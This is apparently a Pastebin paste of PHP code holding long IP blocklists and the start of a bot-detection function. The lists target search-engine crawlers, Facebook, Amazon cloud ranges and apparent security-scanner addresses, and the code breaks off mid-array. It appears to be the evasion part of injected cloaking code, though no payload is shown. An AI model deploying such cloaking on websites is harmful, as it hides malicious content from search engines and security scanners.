Guest User

Untitled

a guest
Apr 30th, 2014
1,180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.19 KB | None | 0 0
  1. ?><?php
  2. $black_ips=array(
  3. array('54.0.0.0', '54.255.255.255'),
  4. );
  5.  
  6. $bad_ips=array(
  7. "/^8.6.48.[0-9]+$/",
  8. "/^24.200.208.112$/",
  9. "/^38.[0-9]+.[0-9]+.[0-9]+$/",
  10. "/^64.68.8[0-9].[0-9]+$/",
  11. "/^64.68.8[0-9].[0-9]+$/",
  12. "/^64.68.9[0-2].[0-9]+$/",
  13. "/^64.69.34.134$/",
  14. "/^64.233.1[6-8][1-9].[0-9]+$/",
  15. "/^64.233.173.[0-9]+$/",
  16. "/^64.233.19[0-1].[0-9]+$/",
  17. "/^65.33.87.94$/",
  18. "/^65.5[2-5].[0-9]+.[0-9]+$/",
  19. "/^91.239.15.62$/",
  20. "/^91.239.15.63$/",
  21. "/^91.239.15.61$/",
  22. "/^65.93.62.242$/",
  23. "/^66.230.175.124$/",
  24. "/^66.249.[6-9][0-9].[0-9]+$/",
  25. "/^66.255.53.123$/",
  26. "/^67.162.158.146$/",
  27. "/^67.195.[0-9]+.[0-9]+$/",
  28. "/^67.210.111.241$/",
  29. "/^70.50.189.191$/",
  30. "/^70.91.180.25$/",
  31. "/^71.165.223.134$/",
  32. "/^72.14.199.[0-9]+$/",
  33. "/^72.30.[0-9]+.[0-9]+$/",
  34. "/^74.6.[0-9]+.[0-9]+$/",
  35. "/^74.125.[0-9]+.[0-9]+$/",
  36. "/^74.193.246.129$/",
  37. "/^81.135.175.70$/",
  38. "/^89.122.224.230$/",
  39. "/^89.149.217.191$/",
  40. "/^89.149.253.169$/",
  41. "/^93.172.94.227$/",
  42. "/^93.190.141.10$/",
  43. "/^118.124.32.193$/",
  44. "/^129.187.148.240$/",
  45. "/^129.187.148.244$/",
  46. "/^165.160.2.20$/",
  47. "/^195.92.229.2$/",
  48. "/^199.126.151.229$/",
  49. "/^218.28.88.99$/",
  50. "/^207.211.40.82$/",
  51. "/^209.85.238.[0-9]+$/",
  52. "/^209.185.108.[0-9]+$/",
  53. "/^209.185.253.[0-9]+$/",
  54. "/^212.100.250.218$/",
  55. "/^213.144.15.38$/",
  56. "/^216.33.229.163$/",
  57. "/^216.239.33.9[6-9]$/",
  58. "/^216.239.37.9[8-9]$/",
  59. "/^216.239.39.9[8-9]$/",
  60. "/^216.239.41.9[6-9]$/",
  61. "/^216.239.45.4$/",
  62. "/^216.239.46.[0-9]+$/",
  63. "/^216.239.51.9[6-9]$/",
  64. "/^216.239.53.9[8-9]$/",
  65. "/^216.239.57.9[6-9]$/",
  66. "/^216.239.59.9[8-9]$/",
  67. "/^218.18.174.27$/",
  68.  
  69. //My adding
  70. "/^187.45.232.[0-9]+$/",
  71. "/^76.74.159.[0-9]+$/",
  72. "/^174.29./",
  73. "/^174.16./",
  74. "/^76.74.159./",
  75. "/^64.79.218./",
  76. "/^198.154.205./",
  77. "/^23.22.184./",
  78. "/^184.169.219./",
  79.  
  80. //After Filter
  81. "/142.4.116.5[6-9]/",
  82. "/142.4.116.6[0-3]/",
  83. "/168.6[1-3]./",
  84. "/94.23.19[2-9]./",
  85. "/94.23.2[0-5][0-9]./",
  86. "/91.121./",
  87. "/178.150.51./",
  88. "/5.39.6[4-9]./",
  89. "/5.39.7[0-9]./",
  90. "/38.111.144.145/",
  91. "/46.118.159./",
  92. "/46.223.250.66/",
  93. "/66.249.[6-9][0-9]./",
  94. "/46.105.9[6-9]./",
  95. "/46.105.1[0-2][0-9]./",
  96.  
  97. //Static
  98. "/94.242.237.28/",
  99. "/94.231.77.35/",
  100. "/89.71.146.130/",
  101. "/82.146.42.42/",
  102. "/94.231.65.183/",
  103. "/188.143.232.60/",
  104. "/168.61.18.129/",
  105. "/168.62.212.190/",
  106. "/94.231.69.235/",
  107. "/94.242.237.5/",
  108. "/89.76.147.183/",
  109. "/199.217.115.9/",
  110. "/222.77.213.76/",
  111. "/91.196.54.33/",
  112. "/79.234.74.152/",
  113. "/86.200.167.167/",
  114. "/54.241.121.52/",
  115. "/192.74.236.165/",
  116. "/94.231.67.86/",
  117. "/68.226.155.63/",
  118. "/93.115.84.131/",
  119. "/178.137.87.26/",
  120. "/82.135.241.118/",
  121. "/184.169.203.101/",
  122. "/84.200.32.253/",
  123. "/61.55.141.10/",
  124. "/190.120.229.138/",
  125. "/192.74.237.188/",
  126. "/117.26.116.184/",
  127. "/84.200.14.65/",
  128. "/157.86.172.250/",
  129. "/184.72.137.57/",
  130. "/54.245.11.176/",
  131. "/199.116.118.236/",
  132. "/184.169.249.148/",
  133. "/222.77.224.217/",
  134. "/176.8.88.20/",
  135. "/176.31.224.2/",
  136.  
  137. "/188.143.232.111/",
  138. "/188.143.232.60/",
  139. "/142.4.116.60/",
  140. "/94.23.199.49/",
  141. "/178.150.51.125/",
  142. "/66.249.82.72/",
  143. "/5.39.67.46/",
  144. "/91.121.8.209/",
  145. "/66.249.85.115/",
  146. "/37.59.10.138/",
  147. "/168.61.17.216/",
  148. "/46.105.118.177/",
  149. "/89.71.146.130/",
  150. "/192.74.236.165/",
  151. "/66.249.82.235/",
  152. "/176.31.224.2/",
  153. "/66.249.85.107/",
  154. "/192.74.237.188/",
  155. "/109.73.160.17/",
  156. "/89.76.147.183/",
  157. "/46.118.159.152/",
  158. "/66.249.81.72/",
  159. "/50.17.174.210/",
  160. "/91.207.5.161/",
  161. "/173.237.179.196/",
  162. "/178.170.124.210/",
  163. "/199.83.92.162/",
  164. "/222.77.213.76/",
  165. "/61.55.141.10/",
  166. "/178.137.87.26/",
  167. "/50.112.120.121/",
  168. "/141.101.237.49/",
  169. "/54.245.26.43/",
  170. "/203.81.226.69/",
  171. "/216.152.246.60/",
  172. "/150.70.75.36/",
  173. "/46.119.119.64/",
  174. "/86.200.167.167/",
  175. "/54.241.74.44/",
  176. "/184.169.249.148/",
  177. "/54.241.121.52/",
  178. "/54.245.42.120/",
  179. "/54.241.107.171/",
  180. "/46.105.144.71/",
  181. "/150.70.75.29/",
  182. "/176.8.88.20/",
  183. "/137.110.222.250/",
  184. "/91.207.5.54/",
  185. "/74.125.18.154/",
  186. "/27.153.187.120/",
  187. "/46.118.123.59/",
  188. "/74.125.18.213/",
  189. "/58.22.123.98/",
  190. "/74.125.18.153/",
  191. "/74.125.18.210/",
  192. "/74.125.18.157/",
  193. "/121.205.212.141/",
  194. "/74.125.16.211/",
  195. "/1.161.134.80/",
  196. "/23.20.222.6/",
  197. "/212.117.180.73/",
  198. "/150.70.172.109/",
  199. "/150.70.172.104/",
  200. "/82.135.241.118/",
  201. "/184.72.137.57/",
  202. "/50.16.71.127/",
  203. "/74.125.18.144/",
  204. "/74.125.16.209/",
  205. "/5.39.69.34/",
  206. "/150.70.64.216/",
  207. "/74.125.16.83/",
  208. "/74.125.18.215/",
  209. "/83.6.209.241/",
  210. "/74.125.16.210/",
  211. "/74.125.16.215/",
  212. "/54.241.70.71/",
  213. "/74.125.16.214/",
  214. "/117.26.116.184/",
  215. "/74.125.16.86/",
  216. "/74.125.16.213/",
  217. "/74.125.18.150/",
  218. "/125.78.241.9/",
  219. "/74.125.16.212/",
  220. "/74.125.16.91/",
  221. "/74.125.18.211/",
  222. "/168.221.159.18/",
  223. "/150.70.172.105/",
  224. "/74.125.16.95/",
  225. "/204.11.50.131/",
  226. "/50.62.131.124/",
  227. "/54.241.88.186/",
  228. "/74.125.16.90/",
  229. "/74.125.18.163/",
  230. "/74.125.189.21/",
  231. "/91.201.64.223/",
  232. "/74.125.18.155/",
  233. "/211.72.203.145/",
  234. "/74.125.18.145/",
  235. "/54.241.93.140/",
  236. "/74.125.18.212/",
  237. "/74.125.18.147/",
  238. "/74.125.16.81/",
  239. "/74.125.16.82/",
  240. "/74.125.16.80/",
  241. "/67.228.179.11/",
  242. "/150.70.64.210/",
  243. "/91.207.6.150/",
  244. "/74.125.189.18/",
  245. "/74.125.18.158/",
  246. "/150.70.172.125/",
  247. "/74.125.16.87/",
  248. "/74.125.18.162/",
  249. "/74.125.18.209/",
  250. "/50.112.202.59/",
  251. "/5.39.73.177/",
  252. "/90.231.22.228/",
  253. "/74.125.16.93/",
  254. "/74.125.18.148/",
  255. "/216.152.252.35/",
  256. "/222.77.224.217/",
  257. "/74.125.16.88/",
  258. "/74.125.18.151/",
  259. "/168.62.212.190/",
  260. "/150.70.75.37/",
  261. "/74.125.18.160/",
  262. "/150.70.64.193/",
  263. "/150.70.172.203/",
  264. "/178.137.95.221/",
  265. "/91.236.74.121/",
  266. "/74.125.16.94/",
  267. "/74.125.18.161/",
  268. "/54.245.11.176/",
  269. "/150.70.172.208/",
  270. "/74.125.16.223/",
  271. "/175.156.129.103/",
  272. "/74.125.18.214/",
  273. "/62.24.252.133/",
  274. "/204.8.156.142/",
  275. "/74.125.189.22/",
  276. "/74.125.189.16/",
  277. "/150.70.172.209/",
  278. "/74.125.16.92/",
  279. "/74.125.18.159/",
  280. "/74.125.189.20/",
  281. "/74.125.16.85/",
  282. "/184.169.232.12/",
  283. "/222.76.93.110/",
  284. "/216.99.152.114/",
  285. "/188.165.112.228/",
  286. "/192.74.237.177/",
  287. "/54.241.54.166/",
  288. "/142.4.117.121/",
  289. "/74.125.16.89/",
  290. "/74.125.18.152/",
  291. "/74.125.18.146/",
  292. "/24.46.188.240/",
  293. "/74.125.16.84/",
  294. "/200.165.161.254/",
  295. "/94.242.237.11/",
  296. "/222.187.222.36/",
  297. "/74.125.189.19/",
  298. "/4.71.214.85/",
  299. "/168.221.143.68/",
  300. "/113.212.70.147/",
  301. "/108.226.135.90/",
  302. "/74.125.18.149/",
  303. "/74.125.16.222/",
  304. "/150.70.75.31/",
  305. "/94.23.211.76/",
  306. "/150.70.64.212/",
  307. "/50.18.138.52/",
  308. "/119.147.146.118/",
  309. "/91.196.52.67/",
  310. "/194.143.144.182/",
  311. "/87.251.179.164/",
  312. "/115.111.158.174/",
  313. "/27.159.228.152/",
  314. "/173.187.146.142/",
  315. "/54.241.51.182/",
  316. "/91.207.4.122/",
  317. "/74.125.189.17/",
  318. "/103.21.208.46/",
  319. "/125.78.241.3/",
  320. "/91.196.54.74/",
  321. "/77.87.36.179/",
  322. "/178.168.64.194/",
  323. "/94.231.69.168/",
  324. "/150.70.172.204/",
  325. "/94.231.67.181/",
  326. "/199.15.234.64/",
  327. "/93.182.129.86/",
  328. "/74.125.189.23/",
  329. "/188.165.205.101/",
  330. "/108.59.78.213/",
  331. "/46.118.115.91/",
  332. "/66.229.76.253/",
  333. "/74.125.18.156/",
  334. "/178.137.169.241/",
  335. "/218.6.8.7/",
  336. "/74.125.17.146/",
  337. "/121.207.161.162/",
  338. "/91.237.249.99/",
  339. "/23.20.171.61/",
  340. "/41.213.134.137/",
  341. "/216.239.45.88/",
  342. "/50.18.148.174/",
  343. "/74.125.18.208/",
  344. "/80.40.134.120/",
  345. "/54.245.150.248/",
  346. "/50.18.84.78/",
  347. "/216.244.82.114/",
  348. "/75.125.39.228/",
  349. "/112.205.195.34/",
  350. "/74.125.17.215/",
  351. "/91.207.4.2/",
  352. "/58.26.189.13/",
  353. "/74.125.17.209/",
  354. "/74.125.18.230/",
  355. "/115.99.249.31/",
  356. "/117.26.117.2/",
  357. "/218.186.15.10/",
  358. "/99.150.159.223/",
  359. "/74.125.17.148/",
  360. "/190.141.137.185/",
  361. "/91.236.74.104/",
  362. "/74.125.17.151/",
  363. "/168.221.159.22/",
  364. "/50.18.18.198/",
  365. "/184.169.192.37/",
  366. "/60.169.77.119/",
  367. "/107.0.50.253/",
  368. "/120.43.5.94/",
  369. "/168.62.169.221/",
  370. "/113.212.70.244/",
  371. "/36.248.124.192/",
  372. "/113.107.200.217/",
  373. "/108.46.198.98/",
  374. "/184.169.190.120/",
  375. "/112.101.64.33/",
  376. "/190.197.17.62/",
  377. "/91.121.243.254/",
  378.  
  379.  
  380. "/188.143.232.111/",
  381. "/180.211.180.5/",
  382. "/46.118.152.156/",
  383. "/46.118.159.39/",
  384. "/46.119.122.130/",
  385. "/178.150.51.125/",
  386. "/88.190.43.198/",
  387. "/178.137.82.108/",
  388. "/157.55.36.52/",
  389. "/157.55.32.190/",
  390. "/157.55.34.183/",
  391. "/157.55.32.116/",
  392. "/157.55.36.39/",
  393. "/157.55.35.34/",
  394. "/157.56.229.184/",
  395. "/168.61.17.216/",
  396. "/157.55.35.91/",
  397. "/157.55.36.50/",
  398. "/157.55.36.36/",
  399. "/199.217.115.9/",
  400. "/37.1.192.40/",
  401. "/208.115.111.72/",
  402. "/208.115.113.88/",
  403. "/216.59.3.178/",
  404. "/157.55.33.123/",
  405. "/184.169.203.101/",
  406. "/142.4.116.60/",
  407. "/79.119.159.239/",
  408. "/5.9.143.180/",
  409. "/80.82.66.216/",
  410. "/204.124.181.85/",
  411. "/142.4.117.121/",
  412. "/50.18.21.225/",
  413. "/88.151.93.158/",
  414. "/94.23.199.49/",
  415. "/65.55.24.237/",
  416. "/93.115.86.162/",
  417. "/91.121.8.209/",
  418. "/88.190.44.26/",
  419. "/178.150.51.131/",
  420. "/174.139.21.244/",
  421. "/83.237.102.107/",
  422. "/86.122.39.137/",
  423. "/5.39.67.46/",
  424. "/173.208.173.251/",
  425. "/205.209.190.116/",
  426. "/142.4.208.185/",
  427. "/77.248.252.113/",
  428. "/94.23.23.127/",
  429. "/46.223.250.66/",
  430. "/5.9.113.104/",
  431. "/65.55.52.119/",
  432. "/65.52.0.51/",
  433. "/81.190.110.56/",
  434. "/63.232.227.10/",
  435. "/157.55.34.168/",
  436. "/38.111.144.145/",
  437. "/37.157.193.84/",
  438. "/216.244.79.170/",
  439. "/173.234.232.135/",
  440. "/168.62.212.190/",
  441. "/212.59.28.53/",
  442. "/46.118.159.152/",
  443. "/173.234.232.244/",
  444. "/173.234.181.208/",
  445. "/173.234.181.106/",
  446. "/89.47.28.86/",
  447. "/157.55.32.62/",
  448. "/173.234.232.8/",
  449. "/173.208.39.66/",
  450. "/173.234.181.72/",
  451. "/173.234.181.31/",
  452. "/173.208.46.237/",
  453. "/173.234.58.132/",
  454. "/173.234.232.222/",
  455. "/89.47.28.105/",
  456. "/173.234.232.65/",
  457. "/173.208.39.23/",
  458. "/173.234.232.159/",
  459. "/173.234.232.95/",
  460. "/173.234.58.163/",
  461. "/198.27.64.172/",
  462. "/37.59.76.162/",
  463. "/173.234.232.127/",
  464. "/66.249.82.235/",
  465. "/88.183.146.178/",
  466. "/91.108.177.117/",
  467. "/173.208.46.96/",
  468. "/94.23.42.208/",
  469. "/65.55.24.236/",
  470. "/37.221.163.172/",
  471. "/178.32.160.89/",
  472. "/151.237.189.188/",
  473. "/46.105.118.177/",
  474. "/66.249.85.107/",
  475. "/82.146.42.42/",
  476. "/176.31.224.2/",
  477. "/83.237.126.96/",
  478. "/157.55.33.79/",
  479. "/178.33.173.191/",
  480. "/147.255.162.182/",
  481. "/157.56.93.201/",
  482. "/142.4.127.28/",
  483. "/157.55.32.84/",
  484. "/168.62.197.75/",
  485. "/192.119.144.161/",
  486. "/94.242.237.28/",
  487. "/91.108.177.179/",
  488. "/157.55.33.248/",
  489. "/94.231.77.35/",
  490. "/192.119.144.208/",
  491. "/157.55.34.179/",
  492. "/93.174.93.194/",
  493. "/89.71.146.130/",
  494. "/192.119.144.220/",
  495. "/96.9.141.234/",
  496. "/157.55.35.93/",
  497. "/94.242.241.105/",
  498. "/173.245.90.162/",
  499. "/96.9.141.237/",
  500. "/209.73.154.97/",
  501. "/157.55.33.112/",
  502. "/96.9.141.236/",
  503. "/142.4.97.161/",
  504. "/96.9.141.227/",
  505. "/50.31.105.166/",
  506. "/96.9.141.228/",
  507. "/94.242.241.87/",
  508. "/184.82.10.99/",
  509. "/69.46.89.24/",
  510. "/96.9.141.231/",
  511. "/184.82.10.102/",
  512. "/192.119.148.206/",
  513. "/94.242.241.106/",
  514. "/157.56.229.87/",
  515. "/184.82.10.108/",
  516. "/96.9.141.230/",
  517. "/5.144.176.56/",
  518. "/184.82.10.100/",
  519. "/142.4.117.44/",
  520. "/212.59.28.77/",
  521. "/94.242.241.201/",
  522. "/64.191.118.70/",
  523. "/173.245.220.175/",
  524. "/184.82.10.98/",
  525. "/96.9.141.235/",
  526. "/96.9.141.229/",
  527. "/50.31.105.238/",
  528. "/64.191.118.68/",
  529. "/96.9.141.233/",
  530. "/216.172.131.48/",
  531. "/173.245.194.180/",
  532. "/142.4.117.33/",
  533. "/96.9.141.238/",
  534. "/206.214.93.106/",
  535. "/209.73.154.77/",
  536. "/185.3.132.209/",
  537. "/184.82.10.109/",
  538. "/94.231.65.183/",
  539. "/64.145.83.135/",
  540. "/184.82.10.104/",
  541. "/157.55.32.94/",
  542. "/69.46.94.242/",
  543. "/188.143.232.60/",
  544. "/69.64.64.195/",
  545. "/205.164.63.119/",
  546. "/192.119.148.62/",
  547. "/209.107.208.69/",
  548. "/184.82.10.101/",
  549. "/168.61.18.129/",
  550. "/69.46.89.233/",
  551. "/50.31.105.183/",
  552. "/184.73.14.223/",
  553. "/5.144.176.86/",
  554. "/173.245.90.40/",
  555. "/77.222.61.99/",
  556. "/64.191.118.67/",
  557. "/67.209.190.75/",
  558. "/157.55.32.102/",
  559. "/50.31.9.35/",
  560. "/184.82.10.110/",
  561. "/173.245.194.156/",
  562. "/173.245.194.91/",
  563. "/64.191.118.71/",
  564. "/83.237.126.119/",
  565. "/185.3.132.220/",
  566. "/69.46.89.91/",
  567. "/96.9.141.232/",
  568. "/192.119.148.150/",
  569. "/71.5.110.140/",
  570. "/5.144.176.134/",
  571. "/65.55.52.87/",
  572. "/50.31.9.208/",
  573. "/64.191.118.69/",
  574. "/5.144.176.246/",
  575. "/184.82.10.103/",
  576. "/5.144.176.130/",
  577. "/64.191.118.72/",
  578. "/64.191.118.66/",
  579. "/185.3.132.222/",
  580. "/5.144.176.75/",
  581. "/209.73.154.247/",
  582. "/157.55.32.184/",
  583. "/74.112.131.112/",
  584. "/209.107.208.166/",
  585. "/157.55.32.96/",
  586. "/5.144.176.216/",
  587. "/5.144.176.114/",
  588. "/185.3.132.217/",
  589. "/5.144.176.142/",
  590. "/192.119.148.151/",
  591. "/157.56.93.191/",
  592. "/5.144.176.22/",
  593. "/5.144.176.118/",
  594. "/5.144.176.124/",
  595. "/209.107.208.106/",
  596. "/5.144.176.65/",
  597. "/5.144.176.45/",
  598. "/5.144.176.6/",
  599. "/64.191.118.73/",
  600. "/74.112.131.108/",
  601. "/5.144.176.221/",
  602. "/209.107.208.25/",
  603. "/193.6.173.22/",
  604. "/74.112.131.110/",
  605. "/5.144.176.36/",
  606. "/67.209.190.84/",
  607. "/173.245.2.180/",
  608. "/5.144.176.165/",
  609. "/5.144.176.195/",
  610. "/157.55.35.52/",
  611. "/94.231.69.235/",
  612. "/173.245.2.187/",
  613. "/67.209.190.91/",
  614. "/67.209.190.77/",
  615. "/74.112.131.114/",
  616. "/5.144.176.202/",
  617. "/192.74.240.236/",
  618. "/208.107.54.150/",
  619. "/199.188.205.38/",
  620. "/67.209.190.88/",
  621. "/157.55.33.20/",
  622. "/216.152.252.35/",
  623. "/50.17.128.3/",
  624. "/67.209.190.94/",
  625. "/178.158.66.146/",
  626. "/74.112.131.113/",
  627. "/157.86.172.250/",
  628. "/216.152.251.77/",
  629. "/69.172.215.82/",
  630. "/199.193.70.230/",
  631. "/74.125.189.18/",
  632. "/176.31.40.207/",
  633. "/157.55.33.17/",
  634. "/67.209.190.82/",
  635. "/74.112.131.111/",
  636. "/94.242.237.5/",
  637. "/207.70.3.138/",
  638. "/173.245.2.185/",
  639. "/83.237.106.200/",
  640. "/173.245.2.183/",
  641. "/93.100.116.6/",
  642. "/76.76.101.218/",
  643. "/178.32.212.86/",
  644. "/207.70.60.18/",
  645. "/58.8.52.8/",
  646. "/184.82.138.125/",
  647. "/78.146.154.215/",
  648. "/173.245.2.184/",
  649. "/67.209.190.93/",
  650. "/157.56.229.88/",
  651. "/67.209.190.81/",
  652. "/67.209.190.86/",
  653. "/74.125.189.16/",
  654. "/65.55.24.219/",
  655. "/173.245.2.182/",
  656. "/46.246.116.244/",
  657. "/202.157.176.180/",
  658. "/90.192.141.157/",
  659. "/184.173.199.234/",
  660. "/65.55.52.94/",
  661. "/89.76.147.183/",
  662. "/93.115.84.131/",
  663. "/69.171.247.117/",
  664. "/67.209.190.79/",
  665. "/110.168.214.218/",
  666. "/31.172.30.3/",
  667. "/74.125.189.22/",
  668. "/46.165.221.166/",
  669. "/74.125.189.17/",
  670. "/71.237.196.54/",
  671. "/84.200.14.65/",
  672. "/157.55.32.189/",
  673. "/74.125.189.20/",
  674. "/58.8.129.67/",
  675. "/222.77.213.76/",
  676. "/37.130.227.133/",
  677. "/64.89.178.160/",
  678. "/67.214.185.154/",
  679. "/206.207.116.58/",
  680. "/173.245.2.186/",
  681. "/67.209.190.85/",
  682. "/62.128.150.11/",
  683. "/176.227.195.52/",
  684. "/173.245.2.181/",
  685. "/77.67.80.66/",
  686. "/69.171.247.114/",
  687. "/207.70.25.58/",
  688. "/173.245.2.191/",
  689. "/91.196.54.33/",
  690. "/190.120.229.138/",
  691. "/94.23.195.192/",
  692. "/85.25.117.168/",
  693. "/67.209.190.90/",
  694. "/216.52.242.16/",
  695. "/66.220.152.4/",
  696. "/69.171.247.112/",
  697. "/84.200.32.253/",
  698. "/173.252.110.116/",
  699. "/66.220.152.7/",
  700. "/67.209.190.80/",
  701. "/173.245.2.188/",
  702. "/173.245.2.189/",
  703. "/79.234.74.152/",
  704. "/173.252.100.114/",
  705. "/207.70.60.21/",
  706. "/157.55.35.32/",
  707. "/82.211.34.180/",
  708. "/173.252.101.115/",
  709. "/74.125.189.23/",
  710. "/178.158.65.232/",
  711. "/67.209.190.92/",
  712. "/216.52.242.14/",
  713. "/65.55.52.116/",
  714. "/173.252.110.119/",
  715. "/173.252.101.113/",
  716. "/173.252.110.115/",
  717. "/209.19.152.67/",
  718. "/173.252.110.118/",
  719. "/66.220.152.0/",
  720. "/86.200.167.167/",
  721. "/69.171.247.116/",
  722. "/66.220.152.6/",
  723. "/69.171.247.119/",
  724. "/173.252.100.118/",
  725. "/74.125.189.21/",
  726. "/66.220.152.1/",
  727. "/173.252.110.117/",
  728. "/69.171.242.115/",
  729. "/208.80.194.149/",
  730. "/66.220.152.3/",
  731. "/173.252.100.115/",
  732. "/107.22.18.158/",
  733. "/66.220.152.2/",
  734. "/54.241.121.52/",
  735. "/173.252.110.114/",
  736. "/61.55.141.10/",
  737. "/65.55.52.113/",
  738. "/157.56.229.190/",
  739. "/173.245.2.190/",
  740. "/23.20.117.145/",
  741. "/69.171.247.118/",
  742. "/67.209.190.78/",
  743. "/173.245.2.192/",
  744. "/216.244.86.130/",
  745. "/173.252.101.112/",
  746. "/192.74.236.165/",
  747. "/173.252.100.119/",
  748. "/62.24.252.133/",
  749. "/91.121.122.92/",
  750. "/67.209.190.89/",
  751. "/74.125.189.19/",
  752. "/184.169.219.228/",
  753. "/94.231.67.86/",
  754. "/72.188.202.76/",
  755. "/173.252.100.116/",
  756. "/67.209.190.76/",
  757. "/65.55.24.220/",
  758. "/209.66.70.253/",
  759. "/69.171.237.13/",
  760. "/69.171.247.113/",
  761. "/206.80.114.179/",
  762. "/173.252.110.112/",
  763. "/69.171.237.11/",
  764. "/157.55.33.111/",
  765. "/178.235.12.84/",
  766. "/173.252.101.118/",
  767. "/209.19.152.75/",
  768. "/157.55.32.146/",
  769. "/84.200.2.81/",
  770. "/69.171.242.117/",
  771. "/2.102.102.198/",
  772. "/150.70.97.42/",
  773. "/190.141.228.211/",
  774. "/173.252.101.116/",
  775. "/67.209.190.87/",
  776. "/69.171.247.115/",
  777. "/108.171.248.250/",
  778. "/204.124.83.131/",
  779. "/74.112.131.152/",
  780. "/68.226.155.63/",
  781. "/69.171.237.14/",
  782. "/206.207.80.163/",
  783. "/173.252.101.119/",
  784. "/96.44.189.102/",
  785. "/69.171.229.118/",
  786. "/157.56.229.23/",
  787. "/69.171.242.116/",
  788. "/23.22.209.88/",
  789. "/96.47.226.19/",
  790. "/94.23.247.65/",
  791. "/173.252.100.112/",
  792. "/95.215.60.30/",
  793. "/173.252.100.117/",
  794. "/69.171.242.118/",
  795. "/209.19.182.88/",
  796. "/178.137.87.26/",
  797. "/83.169.41.106/",
  798. );
  799.  
  800. $bad_ips=array_unique($bad_ips);
  801.  
  802. $bad_referers=array(
  803. '!images.google.!',
  804. );
  805.  
  806. function check_bot_ip($ip) {
  807. $ranges=array(
  808. array('65.52.0.0', '65.55.255.255'),
  809. array('157.54.0.0', '157.60.255.255'),
  810. array('168.61.0.0', '168.63.255.255'),
  811. array('66.249.64.0', '66.249.95.255'),
  812. array('74.125.0.0', '74.125.255.255'),
  813. array('173.194.0.0', '173.194.255.255'),
  814. array('216.239.32.0', '216.239.63.255'),
  815. array('103.15.60.0', '103.15.63.255'),
  816. array('116.68.240.0', '116.68.247.255'),
  817. array('210.212.97.128', '210.212.97.191'),
  818. array('14.139.245.0', '14.139.245.63'),
  819. array('116.255.128.0', '116.255.255.255'),
  820. array('194.82.48.0', '194.82.51.255'),
  821. array('124.40.244.192', '124.40.244.255'),
  822. array('41.74.32.0', '41.74.47.255'),
  823. array('146.151.0.0', '146.151.255.255'),
  824. array('5.39.12.60', '5.39.12.63'),
  825. array('37.59.232.244', '37.59.232.247'),
  826. array('124.40.244.64', '124.40.244.127'),
  827. array('207.46.0.0', '207.46.255.255'),
  828. array('218.100.84.0', '218.100.84.255'),
  829. array('210.212.212.64', '210.212.212.79'),
  830. array('117.239.187.32', '117.239.187.39'),
  831. array('216.213.56.0', '216.213.56.255'),
  832. array('117.239.13.208', '117.239.13.223'),
  833. array('103.5.132.0', '103.5.135.255'),
  834. array('119.15.94.0', '119.15.94.255'),
  835. array('81.89.56.0', '81.89.56.255'),
  836. array('197.159.0.0', '197.159.31.255'),
  837. array('131.253.21.0', '131.253.47.255'),
  838. array('94.245.64.0', '94.245.127.255'),
  839. array('14.139.43.0', '14.139.43.255'),
  840. array('180.148.208.0', '180.148.215.255'),
  841. array('94.23.176.112', '94.23.176.115'),
  842. array('41.78.224.0', '41.78.224.31'),
  843. array('124.40.244.1', '124.40.244.7'),
  844. array('12.0.0.0', '12.255.255.255'),
  845. array('203.110.237.0', '203.110.237.255'),
  846. array('103.21.184.0', '103.21.187.255'),
  847. array('210.212.219.240', '210.212.219.255'),
  848. array('74.118.16.0', '74.118.23.255'),
  849. array('65.112.0.0', '65.127.255.255'),
  850. array('210.212.20.192', '210.212.20.207'),
  851. array('103.23.136.0', '103.23.139.255'),
  852. array('72.14.192.0', '72.14.255.255'),
  853. array('119.42.156.0', '119.42.156.255'),
  854. array('218.248.4.96', '218.248.4.127'),
  855. array('131.151.0.0', '131.151.255.255'),
  856. array('66.135.64.0', '66.135.95.255'),
  857. array('72.33.0.0', '72.33.255.255'),
  858. array('209.130.128.0', '209.130.223.255'),
  859. array('117.239.7.48', '117.239.7.63'),
  860. array('183.177.124.0', '183.177.127.255'),
  861. array('14.139.221.32', '14.139.221.47'),
  862. array('27.100.13.0', '27.100.13.255'),
  863. array('117.239.187.176', '117.239.187.183'),
  864. array('124.83.128.0', '124.83.255.255'),
  865. array('117.239.12.112', '117.239.12.127'),
  866. array('117.239.74.0', '117.239.74.7'),
  867. array('210.212.246.128', '210.212.246.135'),
  868. array('218.248.30.112', '218.248.30.127'),
  869. array('210.212.20.32', '210.212.20.63'),
  870. array('209.131.32.0', '209.131.63.255'),
  871. array('199.30.16.0', '199.30.31.255'),
  872. array('137.117.0.0', '137.117.255.255'),
  873. array('202.146.184.0', '202.146.185.255'),
  874. array('178.32.190.136', '178.32.190.139'),
  875. array('176.31.59.240', '176.31.59.243'),
  876. array('119.42.155.0', '119.42.155.255'),
  877. array('178.33.210.128', '178.33.210.131'),
  878. array('178.32.176.32', '178.32.176.35'),
  879. array('124.40.247.0', '124.40.247.127'),
  880. array('192.132.228.0', '192.132.228.255'),
  881. array('111.91.224.0', '111.91.231.255'),
  882. array('176.31.60.136', '176.31.60.139'),
  883. array('144.76.95.0', '144.76.95.255'),
  884. array('204.12.208.0', '204.12.208.255'),
  885. array('69.30.238.0', '69.30.238.255'),
  886. array('69.197.128.0', '69.197.128.255'),
  887. array('199.58.86.0', '199.58.86.255'),
  888. array('46.165.197.0', '46.165.197.255'),
  889. array('108.59.8.0', '108.59.8.255'),
  890. array('184.154.48.0', '184.154.48.255'),
  891. array('173.208.165.0', '173.208.165.255'),
  892. array('173.208.150.0', '173.208.150.255'),
  893. array('173.242.125.0', '173.242.125.255'),
  894. array('69.197.129.0', '69.197.129.255'),
  895. array('173.236.21.0', '173.236.21.255'),
  896. array('208.107.30.0', '208.107.30.255'),
  897. array('144.76.121.0', '144.76.121.255'),
  898. array('62.212.73.0', '62.212.73.255'),
  899. array('83.149.126.0', '83.149.126.255'),
  900. array('63.147.126.0', '63.147.126.255'),
  901. array('109.64.66.0', '109.64.66.255'),
  902. array('146.52.224.0', '146.52.224.255'),
  903. array('178.151.143.0', '178.151.143.255'),
  904. array('173.199.116.0', '173.199.116.255'),
  905. array('198.74.231.0', '198.74.231.255'),
  906. array('144.76.92.0', '144.76.92.255'),
  907. array('24.230.50.0', '24.230.50.255'),
  908. array('74.112.202.0', '74.112.202.255'),
  909. array('62.194.71.0', '62.194.71.255'),
  910. array('173.199.119.0', '173.199.119.255'),
  911. array('180.76.5.0', '180.76.5.255'),
  912. array('67.219.96.0', '67.219.96.255'),
  913. array('31.31.73.0', '31.31.73.255'),
  914. array('193.111.141.0', '193.111.141.255'),
  915. array('178.32.218.0', '178.32.218.255'),
